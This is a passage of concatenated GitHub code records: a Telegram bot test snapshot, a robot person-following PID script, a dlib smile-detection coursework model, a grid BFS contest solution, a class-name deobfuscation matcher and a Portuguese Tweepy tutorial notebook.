\"InlineKeyboardButton\",\n \"text\": \"💬 Добавить в чат\",\n \"url\": \"https://t.me/anime_4bot?startgroup=0\",\n }\n ],\n ],\n },\n}\nGET_AVATARS = {\n \"_\": \"Message\",\n \"id\": 1,\n \"from_user\": {\n \"_\": \"User\",\n \"id\": 5534952877,\n \"is_self\": False,\n \"is_contact\": False,\n \"is_mutual_contact\": False,\n \"is_deleted\": False,\n \"is_bot\": True,\n \"is_verified\": False,\n \"is_restricted\": False,\n \"is_scam\": False,\n \"is_fake\": False,\n \"is_support\": False,\n \"is_premium\": False,\n \"first_name\": \"⛩ Аватарки | Бот\",\n \"username\": \"anime_4bot\",\n \"dc_id\": 2,\n \"photo\": {\n \"_\": \"ChatPhoto\",\n \"small_file_id\": \"AQADAgADt8YxG21tiUoAEAIAA62t6EkBAAMEBDVJZTzOtwAEHgQ\",\n \"small_photo_unique_id\": \"AgADt8YxG21tiUo\",\n \"big_file_id\": \"AQADAgADt8YxG21tiUoAEAMAA62t6EkBAAMEBDVJZTzOtwAEHgQ\",\n \"big_photo_unique_id\": \"AgADt8YxG21tiUo\",\n },\n },\n \"date\": \"2023-01-01 00:00:00\",\n \"chat\": {\n \"_\": \"Chat\",\n \"id\": 5534952877,\n \"type\": \"ChatType.BOT\",\n \"is_verified\": False,\n \"is_restricted\": False,\n \"is_scam\": False,\n \"is_fake\": False,\n \"is_support\": False,\n \"username\": \"anime_4bot\",\n \"first_name\": \"⛩ Аватарки | Бот\",\n \"photo\": {\n \"_\": \"ChatPhoto\",\n \"small_file_id\": \"AQADAgADt8YxG21tiUoAEAIAA62t6EkBAAMEBDVJZTzOtwAEHgQ\",\n \"small_photo_unique_id\": \"AgADt8YxG21tiUo\",\n \"big_file_id\": \"AQADAgADt8YxG21tiUoAEAMAA62t6EkBAAMEBDVJZTzOtwAEHgQ\",\n \"big_photo_unique_id\": \"AgADt8YxG21tiUo\",\n },\n \"dc_id\": 2,\n },\n \"mentioned\": False,\n \"scheduled\": False,\n \"from_scheduled\": False,\n \"media\": \"MessageMediaType.PHOTO\",\n \"has_protected_content\": False,\n \"has_media_spoiler\": False,\n \"caption_entities\": [\n {\n \"_\": \"MessageEntity\",\n \"type\": \"MessageEntityType.TEXT_LINK\",\n \"offset\": 3,\n \"length\": 20,\n \"url\": \"https://t.me/avhelp3_bot\",\n },\n {\n \"_\": \"MessageEntity\",\n \"type\": \"MessageEntityType.BOLD\",\n \"offset\": 3,\n \"length\": 20,\n },\n ],\n \"caption\": \"💸 Купить рекламу здесь\",\n \"outgoing\": False,\n}\n","repo_name":"rainskin/RandomAvatars","sub_path":"tests/snapshots.py","file_name":"snapshots.py","file_ext":"py","file_size_in_byte":6991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11940168646","text":"import os\nimport threading\nimport multiprocessing\nimport ports\nfrom PyNuitrack import py_nuitrack\nimport cv2 \nfrom itertools import cycle\n#from importlib_metadata import PathDistribution\n#from matplotlib.pyplot import get\nimport numpy as np\nimport time\nimport math\nimport os\nfrom simple_pid import PID\npid = PID(4.5, 0.4, 0.18, sample_time=0.0005, setpoint=0) #5.6 0.6 0.85\npidDist = PID(5, 0.7, 1, sample_time=0.01, setpoint=0)\n\nbaudrate = 115200\ngoal_dist = 180\ndist_deadzone = 15\nangle = 0\nangle_deadzone = 20\nangle_sum = 0\n\nserial_arr = []\ndist = goal_dist\n\n\n\ndef follow_me(serial_arr_param):\n\n\tglobal dist\n\tglobal angle\n\tglobal angle_sum\n\n\tglobal serial_arr\n\tserial_arr = serial_arr_param\n\n\tos.system(\"clear\")\n\n\tdata_tracking = threading.Thread(target=Skeletondata)\n\tdata_tracking.start()\n\n\tangle_sum = 0\n\twhile True:\n\t\trpm1 = 0\n\t\trpm2 = 0\n\n\t\trpm1 = pidDist(dist-goal_dist) * -1\n\t\tif rpm1 > 800:\n\t\t\trpm1 = 800\n\t\trpm2 = rpm1\n\n\t\tangle_rpm = pid(angle) * -1\n\t\t#angle_rpm = 0\n\n\t\t\"\"\"\n\t\tif(angle_rpm > 330):\n\t\t\tangle_rpm = 330\n\t\tif(angle_rpm < -330):\n\t\t\tangle_rpm = -330\n\t\t\"\"\"\n\t\tif rpm1 < 180 and rpm1 > -180:\n\t\t\trpm1 += angle_rpm\n\t\t\trpm2 -= angle_rpm\n\t\telse:\n\t\t\trpm1 += angle_rpm/2\n\t\t\trpm2 -= angle_rpm/2\n\t\t\"\"\"\n\t\tmaxI = 9\n\t\tif rpm1 > maxI:\n\t\t\trpm1 = maxI\n\t\tif rpm2 > maxI:\n\t\t\trpm2 = maxI\n\t\t\"\"\"\n\n\t\tprint(rpm1, rpm2, angle, angle_rpm)\n\t\tprint()\n\n\t\tserial_arr[0].write(bytes(\";\", \"utf 8\"))\n\t\tserial_arr[0].write(bytes(str(int(rpm1)), \"utf 8\"))\n\t\tserial_arr[0].write(bytes(\",\", \"utf 8\"))\n\t\tserial_arr[0].write(bytes(str(int(rpm2)), \"utf 8\"))\n\t\tserial_arr[0].write(bytes(\" \", \"utf 8\"))\n\n\"\"\"\n\t\tserial_arr[4].write(bytes(\";\", \"utf 8\"))\n\t\tserial_arr[4].write(bytes(\"4\", \"utf 8\"))\n\t\tserial_arr[4].write(bytes(\",\", \"utf 8\"))\n\t\tserial_arr[4].write(bytes(str(int(np.interp(angle, [-40, 40], [150, 30]))), \"utf 8\"))\n\t\tserial_arr[4].write(bytes(\" \", \"utf 8\"))\n\"\"\"\n\n\ndef Skeletondata():\n\n\tdef draw_skeleton(image):\n\t\tpoint_color = (59, 164, 0)\n\t\tfor skel in data.skeletons:\n\t\t\tfor el in skel[1:]:\n\t\t\t\tx = (round(el.projection[0]), round(el.projection[1]))\n\t\t\t\tcv2.circle(image, x, 8, point_color, -1)\n\n\tglobal dist\n\tglobal angle\n\tglobal angle_sum\n\n\tnuitrack = py_nuitrack.Nuitrack()\n\tnuitrack.init()\n\n\n\tdevices = nuitrack.get_device_list()\n\tfor i, dev in enumerate(devices):\n\t\tdev.get_name(), dev.get_serial_number()\n\t\tif i == 0:\n\t\t\tdev.get_activation()\n\t\t\tnuitrack.set_device(dev)\n\n\n\tnuitrack.get_version()\n\tnuitrack.get_license()\n\t#print('Hello1')\n\tnuitrack.create_modules()\n\t#print('Hello2')\n\n\tnuitrack.run()\n\n\tmodes = cycle([\"depth\", \"color\"])\n\tmode = next(modes)\n\n\twhile 1:\n\t\tkey = cv2.waitKey(1)\n\t\tnuitrack.update()\n\t\tdata = nuitrack.get_skeleton()\n\t\tdata_instance=nuitrack.get_instance()\n\t\timg_depth = nuitrack.get_depth_data()\n\n\t\tif img_depth.size:\n\t\t\tcv2.normalize(img_depth, img_depth, 0, 255, cv2.NORM_MINMAX)\n\t\t\timg_depth = np.array(cv2.cvtColor(img_depth,cv2.COLOR_GRAY2RGB), dtype=np.uint8)\n\t\t\timg_color = nuitrack.get_color_data()\n\t\t\tdraw_skeleton(img_depth)\n\t\t\tdraw_skeleton(img_color)\n\t\t\t\n\t\t\tif not data.skeletons:\n\t\t\t\tdist = goal_dist\n\t\t\t\tangle = 0\n\t\t\t\tangle_sum = 0\n\n\t\t\tif not data.skeletons:\n\t\t\t\tdist = goal_dist\n\t\t\t\tangle = 0\n\t\t\t\tcontinue\n\n\t\t\tfor skeleton in data.skeletons:\n\t\t\t\tzdepth = round((getattr(skeleton.torso,'real')[2])/10) #depth in cm\n\t\t\t\tz = round((getattr(skeleton.torso,'real')[2])/10)\t#depth\n\t\t\t\tx = getattr(skeleton.torso,'real')[0]\n\t\t\t\tphi = round((np.arctan(x/z))*57.3)\n\t\t\t\tdata = str(z)+','+str(phi)\t\n\n\t\t\t\tdist = zdepth\n\t\t\t\tangle = phi\n\t\t\t\t\n\t\t\tif key == 32:\n\t\t\t\tmode = next(modes)\n\t\t\tif mode == \"depth\":\n\t\t\t\tcv2.imshow('Image', img_depth)\n\t\t\tif mode == \"color\":\n\t\t\t\tif img_color.size:\n\t\t\t\t\tcv2.imshow('Image', img_color)\n\n\tnuitrack.release()\n\n\n\nif __name__ == '__main__':\n follow_me(ports.sort_ports(ports.setup_ports(baudrate)))\n","repo_name":"Schaumi19/InMoov_HTLWeiz","sub_path":"Terminal/subscripts/follow_me.py","file_name":"follow_me.py","file_ext":"py","file_size_in_byte":3760,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"34138027196","text":"import cv2\nimport dlib\nimport os\nimport csv\nimport re\nimport ast\nimport math\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.svm import LinearSVC\nfrom sklearn.neighbors import KNeighborsClassifier\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import KFold\nfrom sklearn.model_selection import cross_val_score\nimport time\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import learning_curve\nimport joblib\n\n\nbasedir = 'D:/UCL 4th year/ELEC0134 Applied Machine Learning Systems 2223/final-assignment/Datasets/dataset_AMLS_22-23/celeba'\nbasedir_t = 'D:/UCL 4th year/ELEC0134 Applied Machine Learning Systems 2223/final-assignment/Datasets/dataset_AMLS_22-23_test/celeba_test'\nimages_dir = os.path.join(basedir,\"img\")\nimages_dir = images_dir.replace('\\\\', '/')\nimages_dir_t = os.path.join(basedir_t,\"img\")\nimages_dir_t = images_dir_t.replace('\\\\', '/')\nlabels_filename = 'labels.csv'\nlabels_filename_t = 'labels.csv'\n\n\ndef get_smile(basedir, labels_filename):\n # Get all celeba's image paths\n # image_paths = [os.path.join(images_dir, l) for l in os.listdir(images_dir)]\n with open(os.path.join(basedir, labels_filename), 'r') as file:\n # Create a CSV reader\n reader = csv.reader(file)\n # Skip the first row\n next(reader)\n\n smile_list = []\n \n for row in reader:\n value = row[0]\n \n # Split the value into parts\n parts = re.split(\"\\s+\", value)\n \n # parts[3] represents the fourth value, which is the label of smile\n smile_label = parts[3]\n smile_list += [smile_label]\n # print(type(gender_label))\n # print(gender_label, end=\",\")\n\n return smile_list\n\n\ndef get_landmarks(folder):\n # Load the shape predictor model\n predictor = dlib.shape_predictor(\"D:/UCL 4th year/ELEC0134 Applied Machine Learning Systems 2223/final-assignment/AMLS_22-23 _SN19002774/shape_predictor_68_face_landmarks.dat\")\n\n # Initialize an empty list to store the landmarks and empty landmarks\n landmarks = []\n no_landmarks = []\n\n # Sort the filenames in numerical order in the folder\n filenames = (os.listdir(folder))\n filenames.sort(key=lambda x: int(x.split(\".\")[0]))\n # print(filenames[:20])\n # Get the current performance counter value\n start = time.perf_counter()\n\n # Loop through the images in the folder\n for file in filenames:\n # for i,file in enumerate(filenames):\n # if i >= 10:\n # break\n # Load the image\n image = cv2.imread(os.path.join(folder, file))\n\n # Detect faces in the image\n detector = dlib.get_frontal_face_detector()\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n faces = detector(gray)\n \n # If no face is detected, append the filename to the no_landmarks list\n if len(faces) == 0:\n no_landmarks.append(file)\n continue\n\n landmark = predictor(gray, faces[0])\n\n # Convert the landmarks to a list of (x, y) coordinates\n landmark = [(point.x, point.y) for point in landmark.parts()]\n\n # Add the landmarks to the list\n landmarks.append(landmark)\n\n # Get the current performance counter value\n end = time.perf_counter()\n\n # Compute the elapsed time\n elapsed_time = end - start\n\n # Print the elapsed time\n print('Elapsed time:', elapsed_time)\n\n # Return the landmarks\n return landmarks, no_landmarks, filenames\n\nfilenames = (os.listdir(images_dir))\nfilenames.sort(key=lambda x: int(x.split(\".\")[0]))\nsmile_labels = get_smile(basedir, labels_filename)\nsmile_labels_t = get_smile(basedir_t, labels_filename_t)\nlandmarks_t, no_landmarks_t, filenames_t = get_landmarks(images_dir_t)\n\n# Read lists from txt files\n# opening the landmarks.txt file in read mode\nlandmarks_file = open(\"D:/UCL 4th year/ELEC0134 Applied Machine Learning Systems 2223/landmarks.txt\", \"r\")\n \nwith landmarks_file as f:\n lines = f.readlines()\n\n# Initialize an empty list to store the tuples\nlandmarks = []\n\n# Loop over the lines and parse each line using ast.literal_eval\nfor line in lines:\n t = ast.literal_eval(line)\n landmarks.append(t)\n\nlandmarksall = landmarks + landmarks_t\n# gender_labels_file = open(\"D:/UCL 4th year/ELEC0134 Applied Machine Learning Systems 2223/labels.txt\", \"r\")\n\n# with gender_labels_file as f:\n# gender_labels = f.readlines()\n\nno_filenames_file = open(\"D:/UCL 4th year/ELEC0134 Applied Machine Learning Systems 2223/filenames.txt\", \"r\")\nwith no_filenames_file as f:\n no_landmarks = f.readlines()\nno_landmarks = [label.strip() for label in no_landmarks]\n\n# Filter the labels with no face detected\ndef filter(smile_labels, filenames, no_landmarks):\n # Filter the labels with no face detected\n filtered_gender_labels = []\n # Check if the filename is not in the no_landmarks list\n for label, filename in zip(smile_labels, filenames):\n if filename not in no_landmarks:\n filtered_gender_labels.append(label)\n return filtered_gender_labels\n\nfiltered_smile_labels = filter(smile_labels, filenames, no_landmarks)\nfiltered_smile_labels_t = filter(smile_labels_t, filenames_t, no_landmarks_t)\n\n\n\ndef get_points(a,b,landmarksall):\n\n elements = []\n\n for t in landmarksall:\n elements.append(t[a][b])\n return elements\n\n\n# Points of corners of the mouth(landmarks = 49,55)\nx1 = get_points(48,0,landmarksall)\ny1 = get_points(48,1,landmarksall)\nx2 = get_points(54,0,landmarksall)\ny2 = get_points(54,1,landmarksall)\n# Points of the temple(landmarks = 1,17)\nx3 = get_points(0,0,landmarksall)\ny3 = get_points(0,1,landmarksall)\nx4 = get_points(16,0,landmarksall)\ny4 = get_points(16,1,landmarksall)\n\n\n# Calculate distance between two points for lists\ndef distance(x1, y1, x2, y2):\n distances = []\n for i in range(len(x1)):\n d = math.sqrt(math.pow(x1[i] - x2[i], 2) + math.pow(y1[i] - y2[i], 2))\n distances.append(d)\n return distances\n\n\ndef getAngle(x1,y1,x2,y2,x3,y3):\n angle = []\n for i in range(len(x1)):\n ang = 180-(math.degrees(math.atan2(abs(y3[i]-y2[i]), abs(x3[i]-x2[i])) + math.atan2(abs(y1[i]-y2[i]), abs(x1[i]-x2[i]))))\n angle.append(ang)\n return angle\n\n\nlip_width = distance(x1, y1, x2, y2)\ntemple_width = distance(x3, y3, x4, y4)\n\n# Calculate the ratio of lip width and temple width \n# Temple width is constant no matter smile or not\nlt_ratios = []\nfor i in range(len(lip_width)):\n ratio = lip_width[i] / temple_width[i]\n lt_ratios.append(ratio)\n\n\n# Points of the bottom of eyes(landmarks = 42,47)\nx5 = get_points(41,0,landmarksall)\ny5 = get_points(41,1,landmarksall)\nx6 = get_points(46,0,landmarksall)\ny6 = get_points(46,1,landmarksall)\n\neyemouth_dis = []\neyemouth_dis_left = distance(x5, y5, x1, y1)\neyemouth_dis_right = distance(x6, y6, x2, y2)\nfor i in range(len(eyemouth_dis_left)):\n emd = eyemouth_dis_left[i] + eyemouth_dis_right[i]\n eyemouth_dis.append(emd)\n\n\n# Calculate the ratio of eyemouth distance and temple width \nemt_ratios = []\nfor i in range(len(eyemouth_dis)):\n ratio = eyemouth_dis[i] / temple_width[i]\n emt_ratios.append(ratio)\n\n\n# Points of the top and bottom lip(landmarks = 52,58)\nx7 = get_points(51,0,landmarksall)\ny7 = get_points(51,1,landmarksall)\nx8 = get_points(57,0,landmarksall)\ny8 = get_points(57,1,landmarksall)\nlip_updown = distance(x7, y7, x8, y8)\nudt_ratios = []\nfor i in range(len(lip_updown)):\n ratio = lip_updown[i] / temple_width[i]\n udt_ratios.append(ratio)\n\n\n# Need landmark 49(x1,y1)),67,55(x2,y2) to calculate the curvature of mouth\nx9 = get_points(66,0,landmarksall)\ny9 = get_points(66,1,landmarksall)\ncurvatures = getAngle(x1, y1, x9, y9, x2, y2)\ncurvatures = np.abs(curvatures)\n\n\nX1 = lt_ratios\nX2 = emt_ratios\n\n# If there are more than one features, combine them to one list\nX = []\nfor i in range(len(X2)):\n # Create a feature vector by combining the values from X1 and X2\n x = (curvatures[i], X1[i], X2[i], udt_ratios[i])\n # Add the feature vector to the list\n X.append(x)\n\n\n# Reshape if X is 1D array\n\ny = filtered_smile_labels + filtered_smile_labels_t\n\n# Split the data into a training set and a test set\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\n\n# Use random forest\nmodel = RandomForestClassifier(n_estimators=10, max_depth=2, random_state=0)\n# # Fit the model to the training data\n# model.fit(X_train, y_train)\n\n# # Use linear SVC\n# model = LinearSVC()\n# model.fit(X_train, y_train)\n\n# # Use k-nearest neighbors\n# model = KNeighborsClassifier(n_neighbors=1)\n# model.fit(X_train, y_train)\n\n\n# k = 5\n# scores = cross_val_score(model, X, y, cv=k)\n# # Print the scores for each fold\n# print(\"Scores for each fold: \", scores)\n# # Print the mean score\n# print(\"Mean score: \", scores.mean())\n\n\n# # Evaluate the model on the test data\n# y_train_pred = model.predict(X_train)\n# train_score = accuracy_score(y_train, y_train_pred)\n# print(\"Accuracy: {:.2f}\".format(train_score))\n\ntrain_sizes, train_scores, test_scores = learning_curve(model, X, y, cv=6, n_jobs=-1, train_sizes=np.linspace(0.1, 1.0, 10))\n# calculate mean and standard deviation\ntrain_scores_mean = np.mean(train_scores, axis=1)\ntrain_scores_std = np.std(train_scores, axis=1)\ntest_scores_mean = np.mean(test_scores, axis=1)\ntest_scores_std = np.std(test_scores, axis=1)\n\nmodel.fit(X, y)\njoblib.dump(model, 'D:/UCL 4th year/ELEC0134 Applied Machine Learning Systems 2223/final-assignment/AMLS_22-23 _SN19002774/A2/A2random_forest_model.pkl')\n\n# plot the learning curve\nplt.grid()\nplt.fill_between(train_sizes, train_scores_mean - train_scores_std, train_scores_mean + train_scores_std, alpha=0.1, color=\"r\")\nplt.fill_between(train_sizes, test_scores_mean - test_scores_std, test_scores_mean + test_scores_std, alpha=0.1, color=\"g\")\nplt.plot(train_sizes, train_scores_mean, 'o-', color=\"r\", label=\"Training score\")\nplt.plot(train_sizes, test_scores_mean, 'o-', color=\"g\", label=\"Cross-validation score\")\nplt.legend(loc=\"best\")\nplt.xlabel(\"Smile Training examples\")\nplt.ylabel(\"Score\")\nplt.ylim([0, 1])\nplt.show()","repo_name":"gongkoukm/AMLS_22-23-_SN19002774","sub_path":"A2/detect_smile.py","file_name":"detect_smile.py","file_ext":"py","file_size_in_byte":9968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73646134862","text":"import queue\n\nH, W = map(int, input().split())\ncnt = [[0] * W for _ in range(H)]\n\ngrid = []\nfor i in range(H):\n grid.append(list(input()) + [\"#\"])\ngrid.append([\"#\"] * (W + 1))\n\nque = queue.Queue()\nif grid[0][0] == '.':\n que.put([0, 0])\n cnt[0][0] = 1\nelse:\n print(0)\n exit()\n\nans = 1\nwhile not que.empty():\n nxt = que.get()\n h = nxt[0]\n w = nxt[1]\n if grid[h][w + 1] == '.' and cnt[h][w + 1] == 0:\n que.put([h, w + 1])\n cnt[h][w + 1] = cnt[h][w] + 1\n ans = max(ans, cnt[h][w + 1])\n if grid[h + 1][w] == '.' and cnt[h + 1][w] == 0:\n que.put([h + 1, w])\n cnt[h + 1][w] = cnt[h][w] + 1\n ans = max(ans, cnt[h + 1][w])\nprint(ans)\n","repo_name":"snhr-1019/competitive-programming","sub_path":"AtCoder/abc232/d/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13114862061","text":"import sqlite3\n\nobf_classname_file = open(\"tmp/obfuscated_classnames.txt\", \"r\")\nobf_classnames = obf_classname_file.readlines()\n\ncommon_classname_file = open(\"tmp/common_classnames.txt\", \"r\")\ncommon_classnames = common_classname_file.readlines()\n\nconn_clean = sqlite3.connect('tmp/clean_structs.db')\ncursor_clean = conn_clean.cursor()\n\nconn_obf = sqlite3.connect('tmp/obf_structs.db')\ncursor_obf = conn_obf.cursor()\n\nclean_structs = cursor_clean.execute('SELECT * FROM symbols').fetchall()\ncurrent_pos = 0\nmatches = []\nfor classname in obf_classnames:\n print(str(round((current_pos / len(obf_classnames)) * 100, 4)) + \"%\", end=\"\\r\")\n classname = classname.strip()\n row = cursor_obf.execute(\"SELECT * FROM symbols WHERE name='%s'\" % classname).fetchone()\n\n if row[1] is not None:\n struct_fields = row[1].split(',')\n struct_fields.pop(0)\n else:\n struct_fields = None\n\n if row[2] is not None:\n struct_staticfields = row[2].split(',')\n struct_staticfields.pop(0)\n else:\n struct_staticfields = None\n \n if row[3] is not None:\n struct_class = row[3].split(',')\n struct_class.pop(0)\n else:\n struct_class = None\n\n if row[4] is not None:\n struct_vtable = row[4].split(',')\n struct_vtable.pop(0)\n else:\n struct_vtable = None\n\n def_canidate = None\n canidates = []\n for struct in clean_structs:\n if struct_fields is not None and struct[1] is not None:\n fields = struct[1].split(',')\n fields.pop(0)\n if len(fields) == len(struct_fields): \n if(struct[0] + \"\\n\" not in common_classnames and \"_\" not in struct[0]):\n canidates.append(struct)\n\n for canidate in canidates:\n if struct_staticfields is not None and canidate[2] is not None:\n staticfields = canidate[2].split(',')\n staticfields.pop(0)\n if len(staticfields) != len(struct_staticfields): \n canidates.remove(canidate)\n\n for canidate in canidates:\n if struct_fields is not None and canidate[1] is not None:\n fields = canidate[1].split(',')\n fields.pop(0)\n \n for index, field in enumerate(fields): \n if field.split(\" \")[0].strip() != struct_fields[index].split(\" \")[0].strip():\n if canidate in canidates:\n canidates.remove(canidate)\n break\n \n for canidate in canidates:\n if struct_fields is not None and canidate[1] is not None:\n fields = canidate[1].split(',')\n fields.pop(0)\n \n for index, field in enumerate(fields): \n varname = field.split(\" \")[-1]\n struct_varname = struct_fields[index].split(\" \")[-1]\n if varname == struct_varname and \"_\" not in varname:\n def_canidate = canidate\n break\n current_pos += 1\n if def_canidate is not None:\n if def_canidate in clean_structs:\n clean_structs.remove(def_canidate)\n matches.append((classname, def_canidate[0]))\n continue\n\n if len(canidates) > 0:\n if canidate[0] in clean_structs:\n clean_structs.remove(canidate[0])\n matches.append((classname, canidate[0]))\n \n\n\nf = open('deobf/matches.txt', 'w')\nfor (obfname, cleanname) in matches:\n obf_classnames.remove(obfname + \"\\n\")\n f.write(obfname + \"/\" + cleanname + \"\\n\")\n \nf = open('deobf/unmatched.txt', 'w')\nfor obfname in obf_classnames:\n f.write(obfname)\n\nf = open('tmp/unmatched_clean.txt', 'w')\nfor struct in clean_structs:\n f.write(struct[0] + \"\\n\")\nconn_obf.close()\nconn_clean.close()\nprint(\"Generated all classname matches (not very accurate)\")","repo_name":"lifeengines/AUDeobfuscator","sub_path":"struct_match.py","file_name":"struct_match.py","file_ext":"py","file_size_in_byte":3827,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"47"} +{"seq_id":"31437275196","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Coleta de dados no Twitter utilizando pacote Tweepy do Python\n\n# Professora: Fernanda Farinelli\n\n# Este notebook demonstra os seguintes exemplos:
\n# 1. Buscar os tweets de um determinado usuário (timeline)\n# 2. Realizar a busca dos trends tweets\n# * Trends em múltiplas localizações\n# * Trends no Brasil\n# 3. Realizar a busca por palavra chave\n# 4. Armazenar o tweets coletados em arquivo JSON\n# \n\n# \n# OBSERVAÇÃO: Antes de utilizar qualquer pacote, é SEMPRE necessário instalar o(s) pacote(s) previamente. A instalação só é necessária uma única vez.\n# \n# * Para instalar pelo Jupyter, utilize o comando abaixo:
\n# * !pip install nome_do_pacote\n# \n# \n\n# In[ ]:\n\n\n#Instalação de pacotes\n#Deve ser realizado apenas na primeira vez que for utilizar\n\nget_ipython().system('pip install tweepy')\n\nget_ipython().system('pip install pymongo')\n\n\n# **OBSERVAÇÃO:**\n# A documentação completa do pacote *tweepy* está disponível no link abaixo:\n# * http://docs.tweepy.org/en/v3.5.0/api.html\n\n# **SEMPRE é necessário importar** o(s) pacote(s) que serão usados no seu script.\n\n# In[ ]:\n\n\n#Import package\n\nimport tweepy\n\n\n# In[ ]:\n\n\n\n\n\n# ### Credenciais para utilização da API do Twitter\n\n# Para utilizar a API do twitter, é necessário ter uma conta no twitter, solicitar o acesso de desenvolvedor, criar sua aplicação, gerar suas credenciais.\n\n# In[ ]:\n\n\n# Credenciais para utilização da API do Twitter\n\n# Observação, as credenciais abaixo são falsas.\n# Para este notebook funcionar você precisa criar suas próprias credenciais e informá-las nas respectivas variáveis abaixo:\n\nAPI_Key = \"\"\nAPI_secret_key = \"\"\naccess_token = \"\"\naccess_token_secret = \"\"\n\n\n# Fazer a autenticação na API usando suas credenciais\n\n# In[ ]:\n\n\n#Realizar autenticação no Twitter\nauth = tweepy.OAuthHandler(API_Key, API_secret_key)\nauth.set_access_token(access_token, access_token_secret)\n\n# Construir uma instancia da API\napi = tweepy.API(auth)\n\n\n# No exemplo acima, criamos a variável api que é uma instância/token já autenticado no twitter. Neste caso, o token usará as configurações padrões para busca de tweets.\n\n# ### Realizar a busca de tweets de um usuário.\n\n# In[ ]:\n\n\nuserName = \"ProfessoraIGTI\"\nuserID = \"IgtiProfessora\"\n\n\n# In[ ]:\n\n\n#Buscar tweets de um determinado usuário (timeline do usuário)\n\nuser_tweets = api.user_timeline(screen_name=userID, \n count=200, # Buscar no máximo 200 tweets\n include_rts = False, #Não incluir retweets \n tweet_mode = 'extended' # Necessario para buscar o full_text (280 caracteres)\n )\n\n\n# In[ ]:\n\n\nlen(user_tweets)\n\n\n# In[ ]:\n\n\n#Exibir o 3 tweets mais atuais\n\nfor user_tweet in user_tweets[:3]:\n print(\"ID: {}\".format(user_tweet.id))\n print(user_tweet.created_at)\n print(user_tweet.full_text + \"\\n\")\n\n\n# ### Realizar a busca dos trends tweets.\n\n# ##### Trends em múltiplas localizações\n\n# In[ ]:\n\n\n# To fetch the Available Locations that Twitter has trending topic information for.\n\navailable_loc = api.trends_available()\n\n\n# In[ ]:\n\n\n#Print first vector element\navailable_loc[0]\n\n\n# In[ ]:\n\n\nprint(\"The number of locations available are : \" + str(len(available_loc)))\n\n\n# In[ ]:\n\n\nprint(\"Some of the locations are : \") \nfor i in range(0, 400, 20): \n print(\"Place : \" + available_loc[i]['name'] +\n \", Country : \" + available_loc[i]['country']) \n\n\n# ##### Trends no Brasil\n\n# In[ ]:\n\n\n# WOEID (Where On Earth IDentifier) do Brasil: 23424768\n# Veja: https://en.wikipedia.org/wiki/WOEID\n\nBRAZIL_WOEID = 23424768\n\n\n# In[ ]:\n\n\nbrazil_trends = api.trends_place(BRAZIL_WOEID)\n\n\n# In[ ]:\n\n\nprint(\"O nummero de trends para esta localização é: \" + str(len(brazil_trends)))\n\n\n# In[ ]:\n\n\n#Imprimir primeiro elemento do vetor\n\nbrazil_trends[0][\"trends\"][0]\n\n\n# In[ ]:\n\n\n# #Imprimir 5 primeiros elementos do vetor \n\nprint(\"Os top 5 trends desta localização são:\\n\")\nfor i in range(0, 5): \n print(str(i) + ' - ' + brazil_trends[0]['trends'][i]['name']) \n #print(brazil_trends[0]['trends'][i]) \n\n\n# In[ ]:\n\n\n#Imprimir todo o vetor, apenas a coluna 'name'\n\nprint(\"Os top trends desta localização são: \\n\") \n \nfor value in brazil_trends: \n for trend in value['trends']: \n print(trend['name'])\n\n\n# Os métodos trends_available e trends_place retorna um conjunto de objetos com informações dos tópicos no formato JSON.\n\n# ### Realizar a busca por palavra chave.\n\n# In[ ]:\n\n\n#Define palavra chave da busca\n\nkeyword = (\"'irpf' OR 'imposto de renda' OR '#IRPF2021' OR '#ImpostoDeRenda'\")\n\n#keyword = ('vacina')\n#keyword = (\"covid-19 OR covid OR coronavirus OR pandemic\")\n\n\n# In[ ]:\n\n\n# Define listas de armazenamento\n\ntweets = [] # apenas tweet text\ninfo = [] # todo o resultado da busca (JSON)\n\n\n# Nova autenticação para buscar mais tweets que a taxa limite da chamada.\n# \n# onde:\n# * retry_count - número padrão de tentativas para tentar quando ocorrer um erro\n# * retry_delay - número de segundos para aguardar entre tentativas\n# * wait_on_rate_limit - se deve ou não esperar automaticamente a reposição dos limites de taxa\n# * wait_on_rate_limit_notify - Imprima ou não uma notificação quando o Tweepy estiver aguardando a reposição dos limites de taxa\n\n# In[ ]:\n\n\n# Construir a instancia da API (Já foi realizado antes)\n\ntoken = tweepy.API(auth,wait_on_rate_limit=True,wait_on_rate_limit_notify=True)\n\n\n# In[ ]:\n\n\n# Executa a busca por palavra chave\n\nfor tweet in tweepy.Cursor(token.search,\n q=keyword, tweet_mode='extended',\n rpp=20, #busca até 2000 tweets, no máximo 100 por chamada, limitado a 18000 a cada 15 minutos\n result_type=\"mixed\", # popular, recent ou mixed\n lang='pt', #serão solicitados apenas tweets em português\n include_entities=True).items(20): \n \n if 'retweeted_status' in dir(tweet): # Checa se é Retweet\n \n # Se status é um Retweet, status.full_text (tweet.full_text) pode estar truncado.\n # Assim, nó buscamos o campo retweeted_status.full_text\n aux=tweet.retweeted_status.full_text \n \n else: # Não é um Retweet\n aux=tweet.full_text\n \n newtweet = aux.replace(\"\\n\", \" \")\n \n tweets.append(newtweet) #anexar o texto do tweet a essa lista\n info.append(tweet) #anexar todo o resultado deste tweet a essa lista\n \n #open arquivo txt no modo anexar (append \"a\") e escrever o resultado no arquivo\n \n file = open(\"tweets_Keyword_irpf.txt\", \"a\", -1, \"utf-8\") \n file.write(newtweet+'\\n')\n file.close()\n\n\n# In[ ]:\n\n\ninfo\n\n\n# Para realizar a busca por palavra chave vamos utilizar a função abaixo:
\n# * API.search(q[, lang][, locale][, rpp][, page][, since_id][, geocode][, show_user])

